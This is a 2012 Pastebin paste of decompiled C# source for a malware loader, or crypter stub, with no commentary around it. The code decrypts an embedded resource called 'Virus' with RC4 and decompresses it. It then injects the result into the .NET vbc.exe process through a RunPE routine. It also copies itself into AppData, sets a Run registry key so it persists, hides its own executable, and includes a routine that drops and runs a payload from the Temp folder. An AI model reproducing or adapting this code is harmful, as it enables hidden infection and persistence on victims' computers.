Advertisement
Guest User

Untitled

a guest
Nov 1st, 2012
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.15 KB | None | 0 0
  1. using Microsoft.VisualBasic.CompilerServices;
  2. using Microsoft.Win32;
  3. using My;
  4. using My.Resources;
  5. using System;
  6. using System.Diagnostics;
  7. using System.IO;
  8. using System.IO.Compression;
  9. using System.Text;
  10. using System.Windows.Forms;
  11. namespace A
  12. {
  13.     public class A
  14.     {
  15.         public static void _Start()
  16.         {
  17.             byte[] bytes = A.DeCompress(A.Proper_RC4(Resources.Virus, "Password"));
  18.             RunPE.InjectPE(bytes, "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
  19.             string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\vbc.exe";
  20.             try
  21.             {
  22.                 File.Copy(Application.ExecutablePath, text);
  23.                 MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("vbc", text, RegistryValueKind.String);
  24.             }
  25.             catch (Exception expr_66)
  26.             {
  27.                 ProjectData.SetProjectError(expr_66);
  28.                 ProjectData.ClearProjectError();
  29.             }
  30.             try
  31.             {
  32.                 File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
  33.             }
  34.             catch (Exception expr_81)
  35.             {
  36.                 ProjectData.SetProjectError(expr_81);
  37.                 ProjectData.ClearProjectError();
  38.             }
  39.         }
  40.         private static byte[] Proper_RC4(byte[] Input, string Keys)
  41.         {
  42.             byte[] bytes = Encoding.Default.GetBytes(Keys);
  43.             uint[] array = new uint[256];
  44.             checked
  45.             {
  46.                 byte[] array2 = new byte[Input.Length - 1 + 1];
  47.                 uint num = 0u;
  48.                 do
  49.                 {
  50.                     array[(int)num] = num;
  51.                     num += 1u;
  52.                 }
  53.                 while (num <= 255u);
  54.                 num = 0u;
  55.                 uint num2;
  56.                 do
  57.                 {
  58.                     num2 = (uint)(unchecked((ulong)checked(num2 + (uint)bytes[(int)unchecked((ulong)num % (ulong)((long)bytes.Length))] + array[(int)num])) & 255uL);
  59.                     uint num3 = array[(int)num];
  60.                     array[(int)num] = array[(int)num2];
  61.                     array[(int)num2] = num3;
  62.                     num += 1u;
  63.                 }
  64.                 while (num <= 255u);
  65.                 num = 0u;
  66.                 num2 = 0u;
  67.                 int arg_89_0 = 0;
  68.                 int num4 = array2.Length - 1;
  69.                 for (int i = arg_89_0; i <= num4; i++)
  70.                 {
  71.                     num = (uint)(unchecked((ulong)num) + 1uL & 255uL);
  72.                     num2 = (uint)(unchecked((ulong)checked(num2 + array[(int)num])) & 255uL);
  73.                     uint num3 = array[(int)num];
  74.                     array[(int)num] = array[(int)num2];
  75.                     array[(int)num2] = num3;
  76.                     array2[i] = (byte)((uint)Input[i] ^ array[(int)(unchecked((ulong)checked(array[(int)num] + array[(int)num2])) & 255uL)]);
  77.                 }
  78.                 return array2;
  79.             }
  80.         }
  81.         public static byte[] DeCompress(byte[] input)
  82.         {
  83.             MemoryStream stream = new MemoryStream(input);
  84.             DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress);
  85.             int num = 0;
  86.             int num2 = 0;
  87.             checked
  88.             {
  89.                 byte[] array;
  90.                 while (true)
  91.                 {
  92.                     array = (byte[])Utils.CopyArray((Array)array, new byte[num2 + 100 + 1]);
  93.                     int num3 = deflateStream.Read(array, num, 100);
  94.                     if (num3 == 0)
  95.                     {
  96.                         break;
  97.                     }
  98.                     num += num3;
  99.                     num2 += num3;
  100.                 }
  101.                 array = (byte[])Utils.CopyArray((Array)array, new byte[num2 - 1 + 1]);
  102.                 return array;
  103.             }
  104.         }
  105.         public static void Drop_Run(byte[] bid)
  106.         {
  107.             File.WriteAllBytes(Path.GetTempPath() + "\\%Service.exe%", bid);
  108.             Process.Start(Path.GetTempPath() + "\\%Service.exe%");
  109.         }
  110.     }
  111. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement